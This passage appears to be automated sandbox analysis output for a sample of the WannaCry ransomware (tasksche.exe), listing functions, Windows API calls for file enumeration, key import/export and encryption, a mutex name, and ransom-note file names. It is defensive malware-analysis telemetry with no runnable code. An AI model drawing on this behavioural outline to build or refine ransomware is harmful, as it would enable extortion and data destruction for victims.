Part of subcall function 00407656: ??3@YAXPAX@Z.MSVCRT ref: 0040769A

Strings

c.wnry, xrefs: 00401E55
XIA, xrefs: 00401DB6

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00401064, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,08000000,00000000,00000000,00000044,00000000), ref: 004010A8
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 004010BD
TerminateProcess.KERNEL32(00000000,000000FF), ref: 004010CC
GetExitCodeProcess.KERNEL32(00000000,00000000), ref: 004010DD
CloseHandle.KERNEL32(00000000), ref: 004010EC
CloseHandle.KERNEL32(00000000), ref: 004010F1

Strings

D, xrefs: 00401074

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00401EFF, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 35

APIs

sprintf.MSVCRT ref: 00401F16
OpenMutexA.KERNEL32(00100000,00000001,?), ref: 00401F31
Sleep.KERNEL32(000003E8), ref: 00401F40
CloseHandle.KERNEL32(00000000), ref: 00401F52

Strings

%s%d, xrefs: 00401F10
tasksche.exe, xrefs: 00401F05
Global\MsWinZonesCacheCounterMutexA, xrefs: 00401F08

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00403A77, Relevance: 12.2, APIs: 8, Instructions: 222

APIs

??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570), ref: 00403A91
_CxxThrowException.MSVCRT(?,0040D570), ref: 00403AA0
memcpy.MSVCRT ref: 00403B00

Part of subcall function 0040350F: ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570), ref: 00403528
Part of subcall function 0040350F: _CxxThrowException.MSVCRT(?,0040D570), ref: 00403537
Part of subcall function 0040350F: memcpy.MSVCRT ref: 004036A9

Part of subcall function 00403A28: ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570), ref: 00403A3D
Part of subcall function 00403A28: _CxxThrowException.MSVCRT(?,0040D570), ref: 00403A4C

memcpy.MSVCRT ref: 00403B68

Part of subcall function 00403797: ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570), ref: 004037B0
Part of subcall function 00403797: _CxxThrowException.MSVCRT(?,0040D570), ref: 004037BF
Part of subcall function 00403797: memcpy.MSVCRT ref: 00403937

??0exception@@QAE@ABQBD@Z.MSVCRT(0040F574), ref: 00403BC2
_CxxThrowException.MSVCRT(?,0040D570), ref: 00403BD1
memcpy.MSVCRT ref: 00403C3C
memcpy.MSVCRT ref: 00403CA6

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 004014A6, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 178

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040150D
GetFileSizeEx.KERNEL32(00000000,004081E0), ref: 00401529
memcmp.MSVCRT ref: 00401572

Part of subcall function 004019E1: EnterCriticalSection.KERNEL32(?,00000000,?,?,00401642,?,768DDBAE,?,0000000A), ref: 004019F2
Part of subcall function 004019E1: LeaveCriticalSection.KERNEL32(?,?,00401642,?,768DDBAE,?,0000000A), ref: 00401A13
Part of subcall function 004019E1: LeaveCriticalSection.KERNEL32(?,?,00401642,?,768DDBAE,?,0000000A), ref: 00401A1D
Part of subcall function 004019E1: memcpy.MSVCRT ref: 00401A2C

Part of subcall function 00402A76: ??0exception@@QAE@ABQBD@Z.MSVCRT(768DDBAE), ref: 00402A95
Part of subcall function 00402A76: _CxxThrowException.MSVCRT(?,0040D570), ref: 00402AA4
Part of subcall function 00402A76: ??0exception@@QAE@ABQBD@Z.MSVCRT(768DDBAE), ref: 00402ACD
Part of subcall function 00402A76: _CxxThrowException.MSVCRT(?,0040D570), ref: 00402ADC
Part of subcall function 00402A76: ??0exception@@QAE@ABQBD@Z.MSVCRT(768DDBAE), ref: 00402AFF
Part of subcall function 00402A76: _CxxThrowException.MSVCRT(?,0040D570), ref: 00402B0E
Part of subcall function 00402A76: memcpy.MSVCRT ref: 00402B2A
Part of subcall function 00402A76: memcpy.MSVCRT ref: 00402B3F

GlobalAlloc.KERNEL32(00000000,?,?,0000000A,00000010,?,768DDBAE,?,0000000A), ref: 0040166D

Part of subcall function 00403A77: ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570), ref: 00403A91
Part of subcall function 00403A77: _CxxThrowException.MSVCRT(?,0040D570), ref: 00403AA0
Part of subcall function 00403A77: memcpy.MSVCRT ref: 00403B00
Part of subcall function 00403A77: memcpy.MSVCRT ref: 00403B68
Part of subcall function 00403A77: ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F574), ref: 00403BC2
Part of subcall function 00403A77: _CxxThrowException.MSVCRT(?,0040D570), ref: 00403BD1
Part of subcall function 00403A77: memcpy.MSVCRT ref: 00403C3C
Part of subcall function 00403A77: memcpy.MSVCRT ref: 00403CA6

_local_unwind2.MSVCRT ref: 004016D6

Strings

WANACRY!, xrefs: 00401566

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 004027DF, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121

APIs

IsBadReadPtr.KERNEL32(00000000,00000014,00000000,00000001,00000000,?!@,004023F5,00000000), ref: 00402812
realloc.MSVCRT ref: 00402854
IsBadReadPtr.KERNEL32(-00000014,00000014), ref: 004028DC
SetLastError.KERNEL32(0000007E), ref: 004028FD
SetLastError.KERNEL32(0000007F), ref: 00402916

Strings

?!@, xrefs: 004027DF

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00407070, Relevance: 10.6, APIs: 7, Instructions: 74

APIs

memcpy.MSVCRT ref: 004070CA

Part of subcall function 00407070: GetFileAttributesA.KERNEL32(00000000,00000000,00000000), ref: 00407083
Part of subcall function 00407070: CreateDirectoryA.KERNEL32(00000000,00000000), ref: 00407091

strcpy.MSVCRT(00000000,00000000,00000000,00000000), ref: 004070FB
strcat.MSVCRT(00000000,004073A3,00000000,00000000), ref: 0040710A
GetFileAttributesA.KERNEL32(00000000,00000000,00000000), ref: 00407118
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0040712C

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 0040350F, Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 214

APIs

??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570), ref: 00403528
_CxxThrowException.MSVCRT(?,0040D570), ref: 00403537
memcpy.MSVCRT ref: 004036A9

Part of subcall function 00402E7E: ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570), ref: 00402E98
Part of subcall function 00402E7E: _CxxThrowException.MSVCRT(?,0040D570), ref: 00402EA7

Strings

, xrefs: 004036AE
Q;@, xrefs: 004036E2, 004035FD

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00401000, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38

APIs

fopen.MSVCRT ref: 0040101B
fread.MSVCRT ref: 0040103F
fwrite.MSVCRT ref: 00401047
fclose.MSVCRT ref: 00401058

Strings

c.wnry, xrefs: 00401016

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 004018F9, Relevance: 7.6, APIs: 5, Instructions: 79

APIs

CreateFileA.KERNEL32(00402117,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040193A
GetFileSize.KERNEL32(00000000,00000000), ref: 0040194A
GlobalAlloc.KERNEL32(00000000,00000000), ref: 00401964
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040197D
_local_unwind2.MSVCRT ref: 004019A6

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00403797, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 214

APIs

??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570), ref: 004037B0
_CxxThrowException.MSVCRT(?,0040D570), ref: 004037BF
memcpy.MSVCRT ref: 00403937

Part of subcall function 004031BC: ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570), ref: 004031D6
Part of subcall function 004031BC: _CxxThrowException.MSVCRT(?,0040D570), ref: 004031E5

Strings

, xrefs: 0040393C

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00405BAE, Relevance: 6.1, APIs: 4, Instructions: 93

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00405BFE
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA,00000000), ref: 00405C29
??2@YAPAXI@Z.MSVCRT ref: 00405C38
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA), ref: 00405C8A

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00406B8E, Relevance: 6.1, APIs: 4, Instructions: 63

APIs

GetCurrentDirectoryA.KERNEL32(00000104,00000140,00000000,00000000,00000000,?,004074EA,00000000,004020D5,?,00000000,?,004075C0,00401DFE,00401DFE,00000003), ref: 00406BB5
strlen.MSVCRT ref: 00406BBC
strcat.MSVCRT(00000140,0040F818,?,004074EA,00000000,004020D5,?,00000000,?,004075C0,00401DFE,00401DFE,00000003,00401DFE,00401DFE,00000000), ref: 00406BD7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,004074EA,00000000,004020D5,?,00000000,?,004075C0,00401DFE,00401DFE,00000003), ref: 00406BEE

Part of subcall function 00405BAE: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00405BFE
Part of subcall function 00405BAE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA,00000000), ref: 00405C29
Part of subcall function 00405BAE: ??2@YAPAXI@Z.MSVCRT ref: 00405C38
Part of subcall function 00405BAE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA), ref: 00405C8A

Part of subcall function 00405FE2: malloc.MSVCRT ref: 0040613E

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 004074A4, Relevance: 6.0, APIs: 4, Instructions: 45

APIs

__EH_prolog.LIBCMT ref: 004074A9
??2@YAPAXI@Z.MSVCRT ref: 004074B5

Part of subcall function 00406B8E: GetCurrentDirectoryA.KERNEL32(00000104,00000140,00000000,00000000,00000000,?,004074EA,00000000,004020D5,?,00000000,?,004075C0,00401DFE,00401DFE,00000003), ref: 00406BB5
Part of subcall function 00406B8E: strlen.MSVCRT ref: 00406BBC
Part of subcall function 00406B8E: strcat.MSVCRT(00000140,0040F818,?,004074EA,00000000,004020D5,?,00000000,?,004075C0,00401DFE,00401DFE,00000003,00401DFE,00401DFE,00000000), ref: 00406BD7
Part of subcall function 00406B8E: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,004074EA,00000000,004020D5,?,00000000,?,004075C0,00401DFE,00401DFE,00000003), ref: 00406BEE

??2@YAPAXI@Z.MSVCRT ref: 0040750B

Part of subcall function 00407572: ??3@YAXPAX@Z.MSVCRT ref: 00407587
Part of subcall function 00407572: ??3@YAXPAX@Z.MSVCRT ref: 004075A1

??3@YAXPAX@Z.MSVCRT ref: 004074FF

Part of subcall function 00407527: strlen.MSVCRT ref: 0040754F
Part of subcall function 00407527: ??2@YAPAXI@Z.MSVCRT ref: 00407556
Part of subcall function 00407527: strcpy.MSVCRT(00000000,00401DFE,00000001,00401DFE,00000000,00000000,004074D0,?,00000000,?,004075C0,00401DFE,00401DFE,00000003,00401DFE,00401DFE), ref: 00407563

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00405C9F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17

APIs

CloseHandle.KERNEL32(?), ref: 00405CB6
??3@YAXPAX@Z.MSVCRT ref: 00405CBD

Strings

$l@, xrefs: 00405C9F

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 004019E1, Relevance: 5.0, APIs: 4, Instructions: 39

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,00401642,?,768DDBAE,?,0000000A), ref: 004019F2
LeaveCriticalSection.KERNEL32(?,?,00401642,?,768DDBAE,?,0000000A), ref: 00401A13
LeaveCriticalSection.KERNEL32(?,?,00401642,?,768DDBAE,?,0000000A), ref: 00401A1D
memcpy.MSVCRT ref: 00401A2C

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Analysis Process: tasksche.exe PID: 3240 Parent PID: 3232

Execution Graph

Execution Coverage:	24.8%
Dynamic/Decrypted Code Coverage:	99.7%
Signature Coverage:	24.5%
Total number of Nodes:	795
Total number of Limit Nodes:	42

Executed Functions

Function 10002300, Relevance: 49.4, APIs: 23, Strings: 5, Instructions: 373

APIs

??2@YAPAXI@Z.MSVCRT ref: 10002332

Part of subcall function 10003730: ??2@YAPAXI@Z.MSVCRT ref: 10003732

swprintf.MSVCRT ref: 10002388
FindFirstFileW.KERNELBASE(?,?,?,00000000,00000000,?), ref: 1000239E

Part of subcall function 10002F70: GetTempFileNameW.KERNELBASE(?,~SD,00000000,00000000), ref: 10002FA1
Part of subcall function 10002F70: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000002,00000000), ref: 10002FBB
Part of subcall function 10002F70: CloseHandle.KERNEL32(00000000), ref: 10002FC8
Part of subcall function 10002F70: DeleteFileW.KERNELBASE(00000000), ref: 10002FD3

wcscmp.MSVCRT ref: 10002442
wcscmp.MSVCRT ref: 10002459
swprintf.MSVCRT(?,%s\%s,?,?), ref: 10002480
wcsncpy.MSVCRT ref: 100025EE

Part of subcall function 100032C0: _wcsnicmp.MSVCRT ref: 100032CF
Part of subcall function 100032C0: wcsstr.MSVCRT ref: 100032E8
Part of subcall function 100032C0: _wcsicmp.MSVCRT ref: 10003309
Part of subcall function 100032C0: _wcsicmp.MSVCRT ref: 10003323
Part of subcall function 100032C0: _wcsicmp.MSVCRT ref: 1000333D
Part of subcall function 100032C0: _wcsicmp.MSVCRT ref: 10003357
Part of subcall function 100032C0: _wcsicmp.MSVCRT ref: 10003371
Part of subcall function 100032C0: wcsstr.MSVCRT ref: 1000338B
Part of subcall function 100032C0: wcsstr.MSVCRT ref: 100033A5
Part of subcall function 100032C0: _wcsicmp.MSVCRT ref: 100033C3
Part of subcall function 100032C0: _wcsicmp.MSVCRT ref: 100033DD
Part of subcall function 100032C0: _wcsicmp.MSVCRT ref: 100033F7

?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000,?,?), ref: 100024BE
wcslen.MSVCRT ref: 100024CC
?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 100024E2

Part of subcall function 100035C0: ??2@YAPAXI@Z.MSVCRT ref: 100035CF

?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 10002516
wcscmp.MSVCRT ref: 10002535
wcscmp.MSVCRT ref: 1000254C
wcscmp.MSVCRT ref: 10002563

Part of subcall function 10002D60: wcsrchr.MSVCRT ref: 10002D6A
Part of subcall function 10002D60: _wcsicmp.MSVCRT ref: 10002D8B
Part of subcall function 10002D60: _wcsicmp.MSVCRT ref: 10002D9E
Part of subcall function 10002D60: _wcsicmp.MSVCRT ref: 10002DB1
Part of subcall function 10002D60: _wcsicmp.MSVCRT ref: 10002DD7
Part of subcall function 10002D60: _wcsicmp.MSVCRT ref: 10002DFC
Part of subcall function 10002D60: _wcsicmp.MSVCRT ref: 10002E2D
Part of subcall function 10002D60: _wcsicmp.MSVCRT ref: 10002E47

wcsncpy.MSVCRT ref: 100025D7
FindNextFileW.KERNELBASE(?,?), ref: 10002634
FindClose.KERNEL32(?), ref: 10002643
??3@YAXPAX@Z.MSVCRT ref: 10002772

Part of subcall function 10002940: wcscat.MSVCRT ref: 1000298D
Part of subcall function 10002940: wcscat.MSVCRT ref: 1000299B
Part of subcall function 10002940: DeleteFileW.KERNEL32(?), ref: 100029B2

Part of subcall function 10003760: ??2@YAPAXI@Z.MSVCRT ref: 10003771

_wcsnicmp.MSVCRT ref: 100026A7
??3@YAXPAX@Z.MSVCRT ref: 100027A2

Part of subcall function 10003200: swprintf.MSVCRT(?,%s\%s,?,@Please_Read_Me@.txt), ref: 1000321A
Part of subcall function 10003200: CopyFileW.KERNEL32(@Please_Read_Me@.txt,?,00000001), ref: 1000322F

Part of subcall function 10003240: swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe.lnk), ref: 1000325A
Part of subcall function 10003240: CopyFileW.KERNEL32(@WanaDecryptor@.exe.lnk,?,00000001), ref: 1000326F

Part of subcall function 10003280: swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe), ref: 1000329A
Part of subcall function 10003280: CopyFileW.KERNEL32(@WanaDecryptor@.exe,?,00000001), ref: 100032AF

Part of subcall function 10002300: ??3@YAXPAX@Z.MSVCRT ref: 100023D2
Part of subcall function 10002300: ??3@YAXPAX@Z.MSVCRT ref: 10002404

??3@YAXPAX@Z.MSVCRT ref: 100027BC

Part of subcall function 10003620: ??3@YAXPAX@Z.MSVCRT ref: 10003658
Part of subcall function 10003620: ??3@YAXPAX@Z.MSVCRT ref: 10003676

Strings

%s\*, xrefs: 1000237A
@Please_Read_Me@.txt, xrefs: 1000252F
@WanaDecryptor@.bmp, xrefs: 1000255D
%s\%s, xrefs: 1000247A
@WanaDecryptor@.exe.lnk, xrefs: 10002546

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 100011D0, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 100

APIs

GetCurrentProcess.KERNEL32 ref: 100011E4
OpenProcessToken.ADVAPI32(00000000), ref: 100011EB
GetTokenInformation.KERNELBASE(?,00000001,00000000,?,?), ref: 10001214
GetLastError.KERNEL32 ref: 1000121A
GlobalAlloc.KERNEL32(00000040,?), ref: 10001234
GetTokenInformation.ADVAPI32(?,00000001,00000000,?,?), ref: 1000124E
LoadLibraryA.KERNEL32(advapi32.dll), ref: 1000125F
GetProcAddress.KERNEL32(00000000,ConvertSidToStringSidW), ref: 10001275
wcscpy.MSVCRT ref: 100012AB
GlobalFree.KERNEL32(00000000), ref: 100012B9

Strings

advapi32.dll, xrefs: 1000125A
ConvertSidToStringSidW, xrefs: 1000126F

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10004040, Relevance: 10.6, APIs: 7, Instructions: 110

APIs

CryptExportKey.ADVAPI32(?,00000000,?,00000000,00000000,00000008), ref: 10004087
GlobalAlloc.KERNEL32(00000000,00000008), ref: 1000409E
CryptExportKey.ADVAPI32(?,00000000,?,00000000,00000000,00000008), ref: 100040C0
_local_unwind2.MSVCRT ref: 100040D0
CreateFileA.KERNEL32(10003B63,40000000,00000000,00000000,00000002,00000080,00000000), ref: 10004101
WriteFile.KERNEL32(00000000,00000000,00000008,?,00000000), ref: 10004122
_local_unwind2.MSVCRT ref: 10004132

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10003F00, Relevance: 10.6, APIs: 7, Instructions: 107

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 10003F45
GetFileSize.KERNEL32(00000000,00000000), ref: 10003F5B
GlobalAlloc.KERNEL32(00000000,00000000), ref: 10003F8A
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 10003FA2
CryptImportKey.ADVAPI32(76E76DBE,00000000,?,00000000,00000000,?), ref: 10003FC5
_local_unwind2.MSVCRT ref: 10003FD5
_local_unwind2.MSVCRT ref: 10004017

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10004170, Relevance: 7.7, APIs: 5, Instructions: 168

APIs

CryptExportKey.ADVAPI32(?,00000000,?,00000000,?,?,00000008,?,?,?,10003C7F,?,?,?,00000007,00000000), ref: 100041AD
CryptGetKeyParam.ADVAPI32(?,00000008,?,?,00000000,?,?,10003C7F,?,?,?,00000007,00000000), ref: 100041DF
GlobalAlloc.KERNEL32(00000000,?,?,?,10003C7F,?,?,?,00000007,00000000), ref: 10004229
CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,?,?,?,?,?,10003C7F,?,?,?,00000007,00000000), ref: 100042BA
GlobalFree.KERNEL32(?), ref: 10004320

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

